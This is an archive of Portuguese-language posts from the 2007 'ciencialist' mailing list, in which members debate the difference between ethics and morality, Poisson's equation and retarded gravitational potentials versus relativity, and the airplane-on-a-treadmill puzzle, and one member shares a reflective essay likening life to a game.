"(...) embora a Ciência não nos possa fornecer, através do seu
método, um sistema ético inequívoco e verdadeiro, não se pode,
todavia, produzir conhecimento científico se não se parte de um
determinado princípio ético. Segundo Jacques Monod, `o conhecimento
verdadeiro ignora os valores. Para fundá-lo, porém, é preciso um
juízo ou, antes, um axioma de valor' (O Acaso e a Necessidade; Ed.
Vozes; Petrópolis - RJ; 1989; p. 194. Qual é esse `valor primitivo
que funda o conhecimento'? Para Monod, trata-se do compromisso com a
objetividade, ou, nas palavras de I. Prigogine, `o respeito à
natureza': a noção de que, se quisermos transformar a realidade de
modo a fazê-la atender às nossas necessidades, `devemos' obedecer às
suas leis que são independentes dos nossos desejos e vontade
(i.e., `objetivas'). Ora, a rejeição desse `mal' que é o
subjetivismo - para o qual o mundo não passa de propriedade do
Sujeito - é o primeiro e necessário passo para a aceitação do outro
como diferente; isto é, para que consideremos qualquer outro
indivíduo, seja próximo ou distante, como `alter ego' e não como
reflexo de Narciso ou reles instrumento de nossos interesses
personalíssimos."

"Vale dizer que sobre o postulado da objetividade ergue-se não só a
Ciência, mas também um novo humanismo - humanismo que não é
antropocentrismo ou narcisismo da espécie, pois, como salientou
brilhantemente C. Lévi-Strauss, `um humanismo adequadamente ordenado
não pode começar espontaneamente, mas deve colocar o mundo antes da
vida, a vida antes do homem e o respeito pelos outros antes do
egoísmo'. (Mythologiques III: L'Origine des Maniéres de Table;
1968)." - Manuel Soares Bulcão Neto; Sombras do Iluminismo; 7Letras;
Rio de Janeiro; 2006; pp. 167/168.

Abraços,
Manuel Bulcão
PS: Acho que estou esquecendo de dizer alguma coisa...



SUBJECT: Re: [ciencialist] P/ José Renato- Re: E ética de cada um...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 21:16

Olá, Eurico!
Sua visão estapafúrdia me fez lembrar a historinha do fazendeiro gaúcho que
gostava muito de jogar pôquer mas não sabia perder. Num cair de noite com
chuva, um jovem visitante, que também gostava de jogar, foi convidado por
ele a ficar até o dia seguinte. Após o jantar montaram a mesa do carteado
com o capataz e o administrador. Desavisado, em pouco tempo o moço já estava
ganhando um bom dinheiro, deixando os dois empregados aflitos e o fazendeiro
cada vez mais irritado. Lá pelas tantas, o fazendeiro puxou uma grande soma
nas apostas e quando, finalmente, o visitante pagou para ver, ele baixou com
furor suas cinco cartas que não formavam qualquer jogo e exclamou: FULIXE!!!
O jovem baixou um full-hand e já ia pegar as fichas ganhas quando o
fazendeiro interrompeu seu gesto e explicou com um sorriso de satisfação.
- Aqui no Rio Grande, o fulixe(quando as cartas não casam de nenhum modo)
supera o full-hand e até street-flash.
O visitante ficou intrigado mas, educadamente, aceitou as regras da região.
E o jogo continuou mais tranqüilo com o fazendeiro agora cheio de fichas à
sua frente.
Perto da meia-noite, surge uma rodada de aposta forte e quando se baixam os
jogos o visitante exclama fulixe e o fazendeiro abre uma trinca de oito.
Quando o jovem vai pegar as fichas o fazendeiro impede e esclarece
condescendente.
- Meu jovem, esqueci de lhe dizer que o fulixe vale como o maior jogo, só
uma vez na mesa...

Faço outros comentários após os seus no corpo do e-mail, após JR, OK?
.............................................................

From: "Eurico Ferreira de Souza Jr." <caodejah@To:
<ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:09 AM
Subject: Res: [ciencialist] P/ José Renato- Re: E ética de cada um...

Olá, Homero e Murilo! O que se busca deste sempre, melhor registrado por
Aristóteles, é o absoluto.

[E]> Essa linha filosófica é defendida principalmente pelos filósofos
ligados à igreja. Confundir moral com ética (o individual-íntimo com o
coletivo-público) é típico de ideologias totalitárias.
JR - Que bom seria se as regras estabelecidas fossem cumpridas por todos!
Mas os "fazedores de regras relativas" são hábeis em burlar e transgredir.
Como na Revolução dos Bichos de George Orwells: "todos são iguais perante a
lei, mas existem alguns que são mais iguais que outros".

Uma, regra ética-moral que independa das premissas momentâneas, necessidades
atuais, costumes sociais, pessoais, históricos, tradicionais, humor do
legislador, situação econômica, etc. Um regra de descreva a melhor atitude a
ser tomada pelo cidadão, em qualquer situação ou circunstância. Daí a
dificuldade. ..

[E]> Quem quer uma regra dessas? Quanto mais atrasada é uma sociedade mais
as regras são desse tipo. (Imaginem a diferença entre ser julgado na
inglaterra, onde mal tem leis escritas e o juiz é soberano, e ser julgado
numa republiqueta como o brasil, onde até o juiz lamenta a injustiça da
sentença que profere.)
Uma regra que confunde ética com moral e que passa por cima das
necessidades, costumes, história, economia, etc só pode sair da cabeça de um
religioso ou de quem defende regimes totalitários.
A humanidade precisa de (e merece) mais que isso.
JR - Eurico, quem faz as leis não são os religiosos! Quem altera as regras e
aumenta os encargos e impostos não são os religiosos. Inglaterra! Sempre, o
gramado dos outros é mais verde e bem tratado. Vá lá! A polícia mata um
jovem brasileiro inocente, inventa uma história com a ajuda do chefão,
tulmutua as investigações, livra os policiais envolvidos e premia a
responsável com uma promoção. Diferente, não!
As regras, em geral, são feitas por quem tem o poder com a cumplicidade dos
que não têm, mas querem usufruir dele. E aí, quando a coisa pega para o
nosso lado, ocorre declarações veementes e surpreendentes, como as da Srª.
Mantega, sobre distribuição de renda, dinheiro para criar empregos,
educação, segurança...

[]s
José Renato
............ ......... ......... ...

From: "oraculo333" <oraculo@To: <ciencialist@ yahoogrupos. com.br>
Sent: Thursday, February 15, 2007 10:38 PM
Subject: [ciencialist] P/ Murilo - Re: E ética de cada um...

Olá Murilo

Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"
Esta é realmente uma questão muito interessante e complexa. Muitas
vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos
e especialistas (mais inteligentes que eu, certamente.. :-) pensam que
se pode separar os dois.
O problema é que existem quase tantas formas de separar os termos
quanto existem filósofos..:- )
A moral tende realmente a ser mais ligada a "costumes", sendo a ética,
em geral, tida como mais universal (de forma relativa e não absoluta,
claro).

Uma forma que me agrada é a separação de alcance dos termos. Moral são
normas que atingem o próprio individuo, sem efeitos em terceiros.
Ética seriam normas e regras que atingem a terceiros, que tem efeitos
além do indivíduo.

Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo
relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é
uma questão ética, pois seu efeito atinge terceiros (que podem não
gostar de serem assassinados. .:-)

Outra forma seria estrutural. Moral se refere a norma correta de agir,
ética a reflexão sobre a norma. Assim, a regra de define o adultério
como errado é moral. E a reflexão racional sobre o porque é errado
cometer adultério, uma questão para a ética.

Neste debate, me parece, usamos os termos como sinônimos, ou quase.
Como estamos querendo determinar se regras ou considerações sobre
essas regras, podem ser absolutas, universais, ou se sempre dependerão
de culturas ou contratos sociais, não é preciso separar os termos para
discutir o assunto.

Um abraço.
Homero



SUBJECT: Re: [ciencialist] Re: Poisson1
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 21:30

Olá, Alberto,


----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, January 25, 2007 6:58 AM
Subject: [ciencialist] Re: Poisson1


----- Original Message -----
From: "Victor"
Sent: Friday, January 19, 2007 6:29 AM
Subject: [ciencialist] Poisson1

> > Alberto: Quanto à terceira lei e a gravitação diria que deixei um
probleminha para meditação e ao que parece não houve retorno algum.
Ele pode ser lido em
http://br.groups.yahoo.com/group/ciencialist/message/56241 .

> Victor: [...] Já tenho umas idéias, mas irei amadurecê-las.Contudo,
se eu não conseguir uma solução que lhe satisfaça ao enunciado, tenha
certeza de uma coisa: o problema não será da poderosa TR, mas no
juízo do afoito aqui.

Alberto: A finalidade do probleminha não é testar a TR mas sim
mostrar que existe uma física newtoniana além do modelo de três leis.

Victor(25.2.07): Tudo bem. Mas é sempre bom arranjar problemas para testar a TRG.


> > Alberto: que Newton tinha noção desse probleminha, mas não quis
efetuar hipóteses "ad hoc" (obviamente, seriam "ad hoc" para a época,
mas hoje não há mais porque ignorar essa idéia 100% clássica e
científica, e válida para aqueles que têm, "em questões filosóficas,
competente faculdade de pensar").

> Victor: Não sei opinar sobre este último tópico. Não conheço as
preocupações dele especificamente em relação ao problema que você
propõe. Mas acho que você sabe o que penso de filosofia, no que tange
à matemática e à física. Só atrapalha. O que importa, na minha visão,
é: evidência experimental, ajuste matemático dos dados medidos,
aplicações à tecnologia, que dá o retorno para ciência melhorando a
precisão de instrumentos, criando outros, cujo desempenho
realimentará a tecnologia, vice-versa. E assim sucessivamente. Essa,
a simbiose que verdadeiramente existe. Filosofia é coisa bonita, de
gente muito inteligente e muita culta, de muito juízo, que, quando se
trata de coisas concretas, sei não, sei não. .

Alberto: Provavelmente você ainda não entendeu o que é filosofia e, em
especial, o que é filosofia da ciência. Seu ídolo Einstein era um
mestre em filosofia da ciência e graças a isso ele conseguiu produzir
tanto em ciência. Newton idem, assim como Heisenberg, Bohr e tantos
outros grandes físicos. Como diria Mario Bunge (físico e filósofo da
ciência): "Quando dizemos que a filosofia não nos interessa, o que
provavelmente fazemos é substituir uma filosofia explícita por outra
implícita, isto é, imatura e incontrolada. [...] Esta filosofia
caseira [...] supõe que um símbolo, tal como uma equação, possui
significado físico somente à medida que diga respeito a alguma
possível operação humana. Isto equivale a se considerar a totalidade
da física como se referindo a operações, principalmente medições
e cálculos, e não à natureza, o que implica num retorno ao
antropocentrismo prevalecente antes do nascimento da ciência."

Victor(25.02.07): Não é minha intenção discutir aquí se entendí ou não filosofia. Nem cabe, nesse contexto. O que digo é que, em outras palavras, em física, o que interessa é o pé no chão, aquilo que se pode medir com réguas e relógios, ou se a teoria conduz a resultados objetivos, se é capaz de produzir tecnologia; se as as equações matemáticas que dão suporte a uma teoria produzem resultados de acordo com a experimentação e conseguem fazer previsões. Interessa-me, em particular, o bate-pronto entre dados experimentais que a teoria diz que vai obter. Filosofia não faz isso. Filosofia é coisa bonita e bem arrumada, de gente muito inteligente e muito culta, mas não é capaz de produzir nada prático. Quando muito, por causa do manuseio competente que faz com as palavras, pode expressar de maneira adequada as coisas de que trata. Estou desenvolvendo um projeto para uma placa de captura de imagens, que tenha algumas características específicas, para um dado uso. E que seja, ao mesmo tempo, barata e atenda especificações requeridas. Se eu não investir no aprimoramento de meus conhecimentos de eletrônica, se eu não souber a matemática adequada para dar conformidade ao projeto, tenha certeza de uma coisa: não há filosofia no mundo que consiga!. É nesse sentido que me pronuncio.

Você finaliza o comentário dizendo: "....Isto equivale a se considerar a totalidade da física como se referindo a operações, principalmente medições
e cálculos, e não à natureza, o que implica num retorno ao
antropocentrismo prevalecente antes do nascimento da ciência."

Mas o que digo, e acho que não dou a entender outra coisa, é que a física não prescinde da matemática, que é sua linguagem natural, da experimentação. Uma vez que se expressam fatos observacionais em termos de postulados, é necessário que isto descreva tais fatos, postos na linguagem matemática. Não concebo que possa ser diferente. A física e a matemática andam juntas, numa simbiose física-matemática. Não há como separar. O próprio Newton anteviu essa necessidade, essa inseparabilidade. Tanto é que desenvolveu o aparato adequado, se quis avançar em suas idéias, se quis dar densidade às suas teses. Assim, o fato de se considerar a totalidade da física atrelada a operações, como deve ser, não implica, de maneira alguma, em meu modo de ver, "num retorno ao antropocentrismo prevalecente antes do nascimento da ciência". Acho mesmo que nada tem a ver uma coisa com outra. A correspondência biunívoca, a que me refiro, é necessária e imperiosa, como já disse.


Alberto: Sua visão, exposta na mensagem Poisson 1, não deixa de ser uma
filosofia, bastante entremeada por aquilo que Mario Bunge chama
filosofia caseira.

Victor(25.02.07): Que seja, não importa. Quem sabe, numa dessas voltas que o tempo dá, eu crie juizo e veja as coisas segundo você descreve!

> > Alberto: [...] Corrijam a matemática da mecânica, a ponto dela se
compatibilizar com a genuína física newtoniana (e não apenas
no "modelito" de três leis), e percebam que os postulados da física
moderna (relatividade e quântica) tornar-se-ão totalmente
desnecessários.

Victor(25.02.07): Em vista de não saber o que é uma genuína física Newtoniana, em vista, ainda, de minha convicção de que os postulados dos ramos da ciência, relatividade e quântica, estarem a cada dia mais firmes e fortes, deixo de comentar esse tópico.

> Victor: Discordo novamente. A matemática é uma só; desnecessário
dizer isso a você. Não houve uma matemática para o EM e outra para a
Mecânica. Não sei em que se apoia para dizer algo assim.

Alberto: Eu coloquei um probleminha e você ainda não comentou. Se
existir uma força "Fa" a matemática tem que se adaptar a essa força.
Se não existir a força "Fa" (ou algo equivalente) a propagação
gravitacional será instantânea, a despeito de Newton ter deixado
claro que isso seria um absurdo.

Victor(25.02.07): Realmente, ainda não comentei. Razão: não encontrei ainda uma solução que justifique sua proposição. Falha minha, que um dia corrigirei. Mas uma coisa eu te garanto: uma solução com propagação instantânea não poderá surgir. Quanto a Newton haver considerado que uma propagação instantânea seria um absurdo, isto soa é meio esquesito, pois o fato é a proposição é uma consequência de sua teoria. Ao considerar o tempo imutável e sem relação com o espaço, sendo este absoluto(que tentou justificar, sem convencer, com aquela experiência do balde), ele, ou sua teoria automaticamente, decretou, embora não admitisse, a instantaneidade das causas e de seus efeitos. Como ele próprio achar um absurdo. Dizer disse, mas que estranho isso lá é. Ou estou errado?

Poisson elaborou uma teoria da gravitação inteiramente baseada nessas premissas, com resultados que incomodaram muitos cientistas pré-relativísticos. Mas essa equação básica padece de dois defeitos:

1) um, que já discutimos aquí, sendo esta thread uma continuação, que enfocava precisamente o fato: propagação instantânea, embutida naquela equação básica: e,

2) e outro, que não discutimos, que também incomodou a tropoa do passado, mas que ninguém, exceto Einstein, conseguiu resolver. Esta outra incompatibilidade é a seguinte:

Na eq. de Poisson,

Lap V(x,y,z) = Vxx+Vyy+Vzz= 4piG(rhô),

(essa notação vocês já conhecem), surge a simplesinha questão:

E se V(x,y,z) for constante, como sair do prejuizo?

É evidente que o lado esquerdo vai a zero. Mas o lado direito, não!

Esta dificuldade, que posto aqui, agora, e sobre a qual não se falou antes, pois a outra discussão não deu folga, incomodou muito gente boa. De fato, as tentativas para "consertar" esse aspecto da teoria Newtoniana acabaram produzindo outros resultados bem interessantes, principalmente na Cosmologia. Se interessar um discussão a esse respeito, garanto que é bem interessante. Mas acho que você vai se interessar, pois sei que você sabe muito bem do que estou falando e não vai deixar isso passar barato.

Alberto Mesquita: A mecânica está toda apoiada nesse
modelo de três leis e ignora a possível existência de um potencial
retardado. Esse modelo é bastante restrito, é matemática pura, e
satisfaz "fisicamente" apenas em condições especiais, ainda que
bastante gerais. Newton deixou bem claro isso, só não enxerga quem
não quer, "aqueles que não têm, em questões filosóficas, competente
faculdade de pensar".

Victor(25.02.07): Sinceramente, não vejo uma importância maior na questão dos potenciais retardados, que não é estranha à TR, sendo já incorporada por ela. Sua aplicação mais imediata, com resultados óbvios, está na eletrodinâmica. Foi uma teoria que precedeu a TR, desenvolvida inteiramente usando a mecânica clássica pré-relativística. A não ser pelo trabalho Heaviside e pelos desenvolvimentos de Jfimenko, conforme já discutimos, não conheço outras tentativas de uma teoria da gravitação baseada nesse enfoque. Assim mesmo, o que os dois fizeram a esse respeito, foi a dedução de equações gravitacionais através de analogias com as equações do eletromagnetismo, sem um resultado objetivo aceitável, pois não há qualquer relação física entre as duas coisas. De ve ser por isso que os físicos não retomaram aqueles trabalhos. Preferiram outras vias, menos românticas e saudosistas. Deve ter sido isso.

> Victor: E também não sei de que absurdos relativísticos o amigo
fala. Mas desconfio que seja sobre os postulados da relatividade.

Alberto: Creio que sim, mas veja que neste tópico a TR nem mesmo está
em discussão, apenas é citada por seus possíveis absurdos.

Victor(25.2.07): Quais os absurdos?

> Victor: A incompatibilidade a que você se refere, entre o EM e a
Gravitação é apenas física, pois não há dados experimentais e/ou
observacionais, que justifiquem, minimamente sequer uma realidade
expressa pelas analogias matemáticas feitas, por exemplo por Jfimenko
(Capítulo 6 do livro Causality Eletromagnetic Induction and
Gravitation, seguido do 7).

Alberto: Não sei se o Jefimenko chega a dizer que a TR está furada,
ele simplesmente mostra que ela passa por desnecessária para explicar
determinados efeitos como, por exemplo, o desvio do perihélio de
Mercurio (dentre outros). Ora, se algo é por demais nebuloso e passa
por desnecessário, creio que poderíamos apelar para a navalha de
Occam.

Victor(25.2.07): Não, ele não chega a dizer que a TRG está furada. Nem poderia. Até elogia, e a coloca como uma das grandes teorias já elaboradas por um mente humana. Mas, contudo, todavia... aponta pretensas inconsistências, que diz poder compatibilizar com sua formulação, com "os pés nas costas", como você diz. Mas não tive tempo de aprofundar sua "prosopopéia" a respeito. Talvez o faça, mais à frente, a título de curiosidade. Pois vejo que o Jfimenko não é um crackopot, apesar de suas idéias estarem totalmente na contra-mão do que se conhece hoje. Admira-me, contudo, a maestria com que maneja a matemática, sobretudo as equações vetoriais.


> Victor: [...] Fisicamente, contudo, a analogia entre elas carece de
sentido, pois não há o principal: qualquer evidência observacional
ou experimental, que ancore as hipóteses de que as essências do
eletromagnetismo e a da gravitação sejam iguais fisicamente, a
despeito da descrição matemática, cuja forma é mesma. [...]

Alberto: Neste caso resolva o probleminha proposto sem apelar para
uma força "Fa" (ou algo equivalente) nem para a propagação
instantânea dos fenômenos gravitacionais.

Victor: Sobre isso já me pronunciei mais acima.

Alberto: Em nenhum momento afirmei
que eletromagnetismo e gravitação são iguais em essência, digo apenas
que ambos são compatíveis com um potencial retardado e não apenas o
eletromagnetismo. Interação instantânea à distância não existe, e
toda a mecânica está impregnada por esse absurdo, a incluir aquela
que dá suporte à TR.

Victor: É verdade, e não são mesmo iguais, em aspecto nenhum. Por isso, as analogias, apesar de matematicamente perfeitas, conduzem a coisas sem o menor amparo experimental ou observacional. Não existe algo como um campo cogravitacional semelhante a um campo magnético!. Não existe semelhança física alguma entre um campo elétrico e o campo gravitacional. São coisas absolutamente diferentes e sem qualquer relação. Mas ele considera que sim. E toca o barco para frente. Daí, chega, facilmente, a uma gravitação negativa, em toda sua pujança, entre outras coisas esquesitas. Se alguém acha diferente, pois que apresente evidências. Mas não o fará, claro, pois estas inexistem para o mister, pesar de, matematicamente, tudo ficar de acordo com o rosário. Particularmente, apesar do que tenho discutido a respeito, não acho que a matemática seja a última palavra em tudo. A física aproveita a matemática que o é, e rejeita aquela que não lhe convém, rejeitando-lhe soluções malucas e fora de propósitos. Mas parece que muitos não pensam assim, e, corajosamente, como Jfimenko, tocam o barco para frente, na raça e sem medo de ser feliz. Bom para ele. Mas inócuo para a ciência. Aliás, pode até ser útil, na medida em que podemos aprender como não fazer a coisa.

Sds,

Victor.

> Victor: Continua em Poisson 2.

Alberto: Vou demorar para responder os "Poisson 2 a 6" pois ando sem
muito tempo disponível. Aguarde.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] avião em esteira
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 21:51

Os porta-aviões têm catapultas a vapor, que empurram os aviões com as
turbinas já ligadas, criando uma força de sustentação. As esteiras por si só
não criarão tal força.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:42 PM
Subject: RE: [ciencialist] avião em esteira


> Nando, oi.
> Não vejo pq não.
> Isso é muito parecido com o que acontece nos porta-aviões, só que bem mais
> difícil de ser executado. abr/M.
>
>
>>From: Nando <nando.str@gmail.com>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: ciencialist@yahoogrupos.com.br
>>Subject: [ciencialist] avião em esteira
>>Date: Sun, 25 Feb 2007 18:44:27 -0300
>>
>>Com certeza já deve ter sido discutido aqui...
>>
>>Um avião está estacionado em uma pista móvel (como se fosse uma esteira
>>rolante). O avião se move em um sentido, e a esteira no sentido oposto.
>>A esteira tem um sistema de controle que acompanha a velocidade do avião
>>e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
>>oposto. A pergunta é: o avião vai conseguir decolar?
>>http://forum.hardmob.com.br/showthread.php?t=289348
>>
>>
>>Outras discussões sobre o mesmo assunto:
>>http://www.kottke.org/06/02/plane-conveyor-belt
>>http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html
>>
>>Eu, aaaaaaaaacho que o avião decola... alguém discorda?
>>
>>Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
>>(graduandos em engenharias na USP e outras universidades de 'nome')
>>discordando entre si, então...
>>
>>
>>##### ##### #####
>>
>>Página de apoio
>>http://www.ciencialist.com
>>
>>
>>##### ##### ##### #####
>>Links do Yahoo! Grupos
>>
>>
>
>



SUBJECT: Re: [ciencialist] Re: Poisson2
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 22:20

Olá, Alberto,

----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, January 25, 2007 1:06 PM
Subject: [ciencialist] Re: Poisson2


----- Original Message -----
From: "Victor" >
Sent: Friday, January 19, 2007 6:40 AM
Subject: [ciencialist] Poisson2

> > Alberto: [...] Falar em espaço e tempo absolutos é coisa de
importância teleológica, mas não física, além de dar problemas quando
formos estudar os referenciais e, por conseguinte, as relatividades
clássicas. Comento isso ligeiramente no artigo já citado e que está
em http://www.ecientificocultural.com/ECC2/artigos/movab00.htm

> Victor: [...] O sistema de referência é fundamental nas
definições, pelo que a estrutura matemática subjacente lhe seguem os
passos (isto não é a mesma que dizer: o sistema de referência afeta o
fenômeno físico, pois não afeta).

Alberto: Em nenhum momento eu disse o contrário. Simplesmente deixei
uma frase "no ar" na esperança de que alguém fosse ler o artigo
citado para depois comentá-lo. As relatividades são importantes, mas
não excluem um absolutismo na física, seja o absolutismo newtoniano
(movimento absoluto, e em decorrência a idéia de uma energia
absoluta), seja o absolutismo einsteiniano (referenciais aprisionados
à concepção do que seja "Sua Majestade, a Luz").

Victor(25.02.07): Está certo. O absolutismo continua existindo, e não são excluidos pela relatividade. Mas em termos. O conceitos relativistas, nesse mister, são bem diferentes dos Newtonianos. Na relatividade, trata-se de invariantes. Está certo também que a relatividade trocou o conceito de espaço Newtoniano absoluto por outro espaço absoluto, que é o espaço 4-dimensional, por causa do fato observacional e experimental que me garante que a velocidade da luz é constante, como diz o Segundo postulado. Os absolutos da TRR resultam do conceito de Referencial Inercial, que já vem de Newton e Galileo, não foi invenção de Einstein. O Primeiro Postulado ao esclarecer que as leis da física são as mesmas para todos os referenciais inerciais, ele automaticamente deixa implícito o fato de que as observações medidas feitas com réguas e relógios num referencial inercial A constituem a realidade de A, e somente de A e de nenhum outro mais. Já que o observador inercial nunca vai saber se está em repouso ou movimento retilíneo uniforme em relação a outro observador B, solidário a outro referencial inercial. Esse assunto já foi discutido aqui, mas recordo algumas das coisas.

As medidas feitas a partir de dois referenciais inerciais, para um mesmo evento, um mesmo acontecimento da natureza, que independe desses referenciais, podem ser diferentes numericamente ou terem aspectos visuais diferentes. Mas, o que quer que sejam referem-se a um e somente um evento. Logo, devem representar a mesma coisa, pois as leis usadas para as medições são as mesmas. Com efeito, isto é assim, pois as medidas de um e outro estão ligadas pelas Transformações de Lorentz. As diferenças entre as medições são devidas esclusivamente ao movimento relativo entre os referenciais de A e B. Se a velocidade entre eles é zero, encontrarão, com certeza, os mesmos valores para suas medidas, a aparência visual ou registrada numa chapa fotográfica será a mesma para ambos, também. Por aí. Aliás, é fácil provar que tais diferenças devem-se também a outros fenômenos, como o efeito Doppler! Para não dizer que só a TRR é a culpada do pedaço.


> Victor: Então o sistema de coordenadas influencia, sim, nos
resultados.

Alberto: Quero crer que você está fazendo uma ligeira confusão entre
referencial e sistema de coordenadas. Uma coisa pode até mesmo
implicar na outra, mas existe uma diferença sutil entre ambos os
conceitos. Para que se entenda o que pretendi dizer (no artigo) essa
sutil diferença é deveras importante. Há que se pensar também,
seguindo os cânones newtonianos, numa energia absoluta (não aquela
mesma energia mecânica definida pelos seguidores de Newton) e a
corresponder ao que ele definiu como movimento absoluto (lembro que
no tempo de Newton não se falava em energia). Nestas condições, e num
mesmo referencial, dois corpos podem, em teoria, estar num mesmo
estado dinâmico "clássico" (no sentido definido pelos seguidores de
Newton) e, não obstante, estar em estados dinâmicos diversos (em
concordância com a noção de movimento absoluto caracterizada por
Newton), a depender da história passada desses dois corpos
(teleologia). Tudo isso está explicado no artigo citado, logo não há
porque tecer novas considerações que não sejam aquelas eventualmente
necessárias para que possam entender o que pretendi dizer no artigo.
Em outras palavras, seguindo os cânones newtonianos, um referencial
não é, por si só, suficiente para caracterizar o estado de movimento
de um objeto.

Victor(25.2.07): Gostaria que você esclarecesse melhor esta proposição: " Em outras palavras, seguindo os cânones newtonianos, um referencial não é, por si só, suficiente para caracterizar o estado de movimento de um objeto." , tendo em vista que o movimento ou a posição de um dado corpo, só tem se sentido se referido a um corpo de referência. Não há sentido físico de outra maneira, daí a razão do pedido acima.


Alberto: Deixarei de comentar o restante da msg pois, embora não tenha
encontrado nenhuma disparidade, creio que está fora do contexto e não
tem nada a ver com o que afirmei anteriormente. Nas condições acima
assinaladas, mantenho o que disse sobre o espaço e o tempo absolutos
serem coisas de importância teleológica, e o mesmo não posso dizer
com relação ao movimento absoluto no sentido newtoniano do termo.

Victor(25.02.07): Discordo do amigo. Creio que nada ficou fora do contexto. À vezes é necessário buscar-se argumentos de palusibilidade em outros contextos mesmos, mas só para dar mais força ao essencial da questão. Não me lembro de estarmos falando física e de repente eu ter apresentando comentários sobre o último jogo do Corínthians. Aí sim, concordaria com sua postura. Mas tenho certeza de que não foi esse, o caso.

Sobre a última parte de seu texto acima, cumpre-me lembrar que a questão de espaço absoluto ainda não é uma questão fechada em física, sendo ainda motivo de controvérsias entre alguns filósofos da ciência, não o sendo, contudo, para a grande maioria dos físicos que compreenderam adequadamente as essencialidades da relatividade. Quanto ao movimento absoluto, é fácil mostrar, mesmo dentro do contexto da teoria newtoniana, que não pode existir algo assim. Mas fica para outras discussões.

Tentarei retomar o Poisson3 e seguintes mais à frente. Quando sobrar o óbvio: tempo Newtoniano mesmo.

Sds,

Victor.



[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O JOGO - José Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 22:34

A vida parece um jogo. Alguns acham-no sem sentido. Outros s� jogam para ganhar e se frustram quando perdem alguma partida. Muitos jogam por puro prazer. � um jogo que se aprende jogando, apesar de v�rios livros descreverem algumas jogadas interessantes ou terr�veis.


O campo ou tabuleiro desse jogo parece ser o universo. H� manuais que ensinam a estrutura b�sica do jogo, seus primeiros movimentos, o movimento de cada pe�a e seus limites. Em geral h� livros com jogadas c�lebres de partidas realizadas na hist�ria da humanidade, em que um dos jogadores fica acuado sob ataque, grave amea�a ou em xeque, tipo: "Corte a crian�a ao meio e d� uma parte a cada mulher". Ou descrevem movimentos sutis, mas decisivos para permitir a revers�o do desenvolvimento da partida, como: "Caminhou at� o mar seguido pela multid�o abaixou-se na praia e trouxe nas m�os um punhado de sal... E todo o povo fez o mesmo iniciando, nesse movimento, a liberta��o da �ndia do dom�nio do Imp�rio Brit�nico".



Alguns demonstram claramente que ganhar ou perder n�o � o mais importante. Para eles a ess�ncia do jogo � jogar. Vibram e se emocionam no jogo da vida com disposi��o e alegria. E o jogo fica melhor quando h� empenho, cuidado e aten��o, de modo a antecipar movimentos, perceber armadilhas, refletir e analisar situa��es mais complexas, sem se deixar dominar pela ansiedade. Isso n�o impede a alguns, que mal aprenderam a mover as pe�as, j� se considerarem ex�mios jogadores.


O in�cio do jogo � o mais previs�vel e os livros ensinam as aberturas mais eficazes. Aconselham os especialistas que ap�s os movimentos iniciais, as pe�as precisam estar bem localizadas e protegidas. A partir da� as possibilidades de jogada se ampliam enormemente. Parecem infinitas. As decis�es devem sempre ser tomadas com o m�nimo de cuidado e lucidez.



Uma d�vida constante que atormenta os jogadores �: "Com quem ou contra o qu� jogamos?".

H� quem diga que joga contra o Destino. Advers�rio dif�cil, por determinar de antem�o as jogadas de todas as partidas. Tem gente que acha isso muito chato. Os mais dram�ticos afirmam que jogam contra a Morte que trapaceia, pois sempre ganha no final. T�m aqueles, por�m, que acreditam estar jogando com o Acaso. Mas alguns ainda t�m d�vidas quanto a isso. T�m os que acreditam que est�o aprendendo a jogar com um parceiro que deseja lhe mostrar, por todos os meios, que todos os movimentos realizados a cada partida, conspiram para a vit�ria. Mesmo nas piores dificuldades esse mestre-parceiro consegue apontar belas li��es a aprender e a memorizar. N�o podemos esquecer �queles que, num jogo tristonho, tentam identificar seu advers�rio an�nimo ao qual chamam de Adversidade.



�s vezes, alguns parecem jogar consigo mesmos in�meras partidas desse constante aprendizado. Talvez seja esse o parceiro que apresenta o jogo mais dif�cil, que muitos descobrem ser preciso jogar. Analisam e decidem a estrat�gia e movimentam com as pe�as de um lado do tabuleiro. Ap�s isso, passam a estudar a jogada a partir do lado oposto. Parecem aprendizes de fil�sofos.



H� os que, em algumas partidas, desistem do jogo. Tem os que preferem assistir o jogo dos outros e preferem apenas opinar, mesmo que seja atrav�s da TV ou do r�dio e sabendo que ningu�m os ouve...



E a�, como vc v� o jogo da vida?

J� sabe contra quem, contra o qu�, com quem ou com o qu�, voc� est� jogando?



Abra�os



Jos� Renato





* As id�ias n�o t�m dono, mas t�m autoria.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A universalização dos valores morais
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/02/2007 22:56

